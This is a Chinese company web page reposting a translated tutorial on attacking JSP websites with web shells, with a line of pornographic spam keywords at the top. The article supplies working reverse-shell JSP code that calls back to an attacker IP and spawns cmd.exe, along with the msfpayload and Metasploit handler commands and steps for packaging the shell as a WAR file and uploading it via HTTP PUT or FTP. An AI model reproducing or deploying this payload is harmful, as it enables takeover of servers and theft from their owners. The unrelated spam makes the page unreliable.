日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷(xiāo)解決方案
外國(guó)大牛教你玩轉(zhuǎn)JSPShell

什么是WebShell

創(chuàng)新互聯(lián)一直秉承“誠(chéng)信做人,踏實(shí)做事”的原則,不欺瞞客戶,是我們最起碼的底線! 以服務(wù)為基礎(chǔ),以質(zhì)量求生存,以技術(shù)求發(fā)展,成交一個(gè)客戶多一個(gè)朋友!為您提供成都網(wǎng)站制作、網(wǎng)站設(shè)計(jì)、成都網(wǎng)頁(yè)設(shè)計(jì)、小程序定制開(kāi)發(fā)、成都網(wǎng)站開(kāi)發(fā)、成都網(wǎng)站制作、成都軟件開(kāi)發(fā)、成都app軟件開(kāi)發(fā)是成都本地專(zhuān)業(yè)的網(wǎng)站建設(shè)和網(wǎng)站設(shè)計(jì)公司,等你一起來(lái)見(jiàn)證!

WebShell就是以asp、php、jsp或者cgi等網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境,也可以將其稱(chēng)做為一種網(wǎng)頁(yè)后門(mén)。黑客在入侵了一個(gè)網(wǎng)站后,通常會(huì)將這些asp或php后門(mén)文件與網(wǎng)站服務(wù)器WEB目錄下正常的網(wǎng)頁(yè)文件混在一起,然后就可以使用瀏覽器…

現(xiàn)如今,使用JSP開(kāi)發(fā)的的網(wǎng)站越來(lái)越多,很多大公司的數(shù)據(jù)中心也會(huì)使用這種架構(gòu)。在我的滲透經(jīng)驗(yàn)之中,拿下JSP網(wǎng)站的主要方法就是上傳Shell從而執(zhí)行命令。在下面的文章中我將舉兩個(gè)JSP shell code的例子,和幾個(gè)常見(jiàn)的上傳shell的方法。

JSP Shell

對(duì)于不怎么熟悉Web Shell的人來(lái)說(shuō),我前文指的JSP Shell是一段"Java Server Page"這段代碼可以允許任何指令在服務(wù)器上執(zhí)行。一般來(lái)說(shuō),Shell通過(guò)一個(gè)HTML from來(lái)接受需要執(zhí)行的指令。下面,我對(duì)于每個(gè)例子都會(huì)給出基本的Shell代碼。我個(gè)人比較喜歡用,Metasploit JSP shells,因?yàn)樗哂泻芎玫姆€(wěn)定性和清爽的界面。

基本JSP shell

這是一個(gè)最簡(jiǎn)單的 JSP Shell,使用方法如下。

(1)保存為cmd.jsp上傳到服務(wù)器。

(2)訪問(wèn)這個(gè)頁(yè)面,執(zhí)行命令。

Metasploit JSP Shell

在攻擊中使用Metasploit JSP Shell大概需要六步。

(1)使用msfpayload創(chuàng)建一個(gè)cmd.jsp

(2)上傳cmd.jsp到服務(wù)器

(3)運(yùn)行Metasploit multi-handler

(4)訪問(wèn)cmd.jsp

(5)獲得shell

(6)如果是windows,升級(jí)到meterpreter shell

創(chuàng)建一個(gè)JSP Shell可以使用如下的命令,LHOST代表了自己主機(jī)的地址。

ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp

上面的指令成功執(zhí)行之后,Metasploit會(huì)生cmd.jsp的源代碼,有些情況下你可能需要修改其中的一些變量來(lái)繞過(guò)防火墻的檢測(cè)。

 
 
 
 
  1. <%@page import="java.lang.*"%>   
  2. <%@page import="java.util.*"%>   
  3. <%@page import="java.io.*"%>  
  4.  <%@page import="java.net.*"%>  
  5.  <% class StreamConnector extends Thread  
  6.  {   
  7. InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os )   
  8. {   
  9. this.is = is;   
  10. this.os = os;   
  11. }   
  12. public void run()  
  13. {   
  14. BufferedReader in = null;  
  15. BufferedWriter out = null;  
  16. try { in = new BufferedReader( new InputStreamReader( this.is ) );  
  17. out = new BufferedWriter( new OutputStreamWriter( this.os ) );  
  18. char buffer[] = new char[8192];  
  19. int length;  
  20. while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )   
  21. {   
  22. out.write( buffer, 0, length );   
  23. out.flush();  
  24. }  
  25. }  
  26. catch( Exception e ){} try { if( in != null ) in.close();  
  27.  if( out != null ) out.close();   
  28. }   
  29. catch( Exception e ){}  
  30.  }   
  31. } try { Socket socket = new Socket( "192.168.100.110", 53 );  
  32.  Process process = Runtime.getRuntime().exec( "cmd.exe" );  
  33. ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();  
  34.  ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();   
  35. }   
  36. catch( Exception e ) {}  
  37.  %> 

之后就是把cmd.jsp文件上傳到目標(biāo)服務(wù)器。假設(shè)上傳后的地址是,http://www.victim.com/cmd.jsp之后就開(kāi)始運(yùn)用Metasploit multi handler,打開(kāi)msfconsole使用如下命令。

use exploit/multi/handler setg LHOST 192.168.100.110 setg LPORT 53 setg PAYLOAD java/jsp_shell_reverse_tcp setg SHELL cmd.exe exploit –j -z

最后訪問(wèn) http://www.victim.com/cmd.jsp ,msfconsole就會(huì)受到反彈回來(lái)的鏈接。

你可以通過(guò)以下的指令訪問(wèn)這條shell

sessions –I 1

如果目標(biāo)主機(jī)是一個(gè)windows主機(jī),可以用以下的指令吧shell升級(jí)成一個(gè)meter-preter shell

sessions –U 1

打包JSP Shells

有些情況下,需要把cmd.jsp打包成一個(gè)WAR文件(比如JBoss).在windows環(huán)境下,需要如下幾步。

(1)安裝JDK

(2)新建 WEB-INF目錄

(3)在 WEB-INF/web.xml 中輸入如下內(nèi)容

 
 
 
 
  1.  xsi:schemalocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4">  
  2. Command   
  3. /cmd.jsp  
  4.  

(4)使用如下命令可以把jsp,文件打包成jar包。

"C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe" cvf cmd.war WEB-INF cmd.jsp

Shell上傳

使用PUT方法

PUT方法是HTTP的一個(gè)擴(kuò)展協(xié)議,允許用戶向服務(wù)器上傳文件。很久以前這個(gè)漏洞還是很流行的。

基本所有掃描工具都可以,掃描到這個(gè)漏洞,也可以通過(guò)ncat之類(lèi)的工具找到這個(gè)漏洞。我比較喜歡

使用burp,使用burp檢測(cè)這個(gè)漏洞,需要如下幾步。

(1) 進(jìn)入repeater tab選項(xiàng)卡

(2) 構(gòu)造如下文件頭

PUT /path/cmd.jsp HTTP/1.1 Host: Content-Length: 0

(3) 在文件頭下面連續(xù)輸入兩次回車(chē)之后輸入JSP shell code。

(4) 在burp下提交構(gòu)造好的包。

上傳方式

一般情況下,網(wǎng)站對(duì)于上傳文件的類(lèi)型都有很?chē)?yán)格的控制,但攻擊者仍然有幾種方法來(lái)繞過(guò)他們。這里就不詳細(xì)敘述了。

發(fā)布WAR文件

有一些服務(wù)器軟件會(huì)使用到WAR,其中一些會(huì)提供用戶上傳WAR文件的接口。有些會(huì)允許用戶使用一些外部源。Josh Abraham 寫(xiě)了一些jBoss metasploit exploits,叫做jboss_maindeployer。這里還有一篇比較不錯(cuò)的paper來(lái)講針對(duì)jBoss的攻擊。

文件共享

有的時(shí)候,網(wǎng)站的主目錄會(huì)被部署到ftp服務(wù)器上,如果能猜到密碼或者是ftp使用了默認(rèn)的密碼。就可以通過(guò)ftp來(lái)上傳shell。

其實(shí)這是一篇科普文。最后對(duì)于文件上傳技巧的敘述比較冗長(zhǎng)有刪節(jié)。

原文地址:https://www.netspi.com/blog/entryid/126/hacking-with-jsp-shells


文章題目:外國(guó)大牛教你玩轉(zhuǎn)JSPShell
文章鏈接:http://www.5511xx.com/article/djgehec.html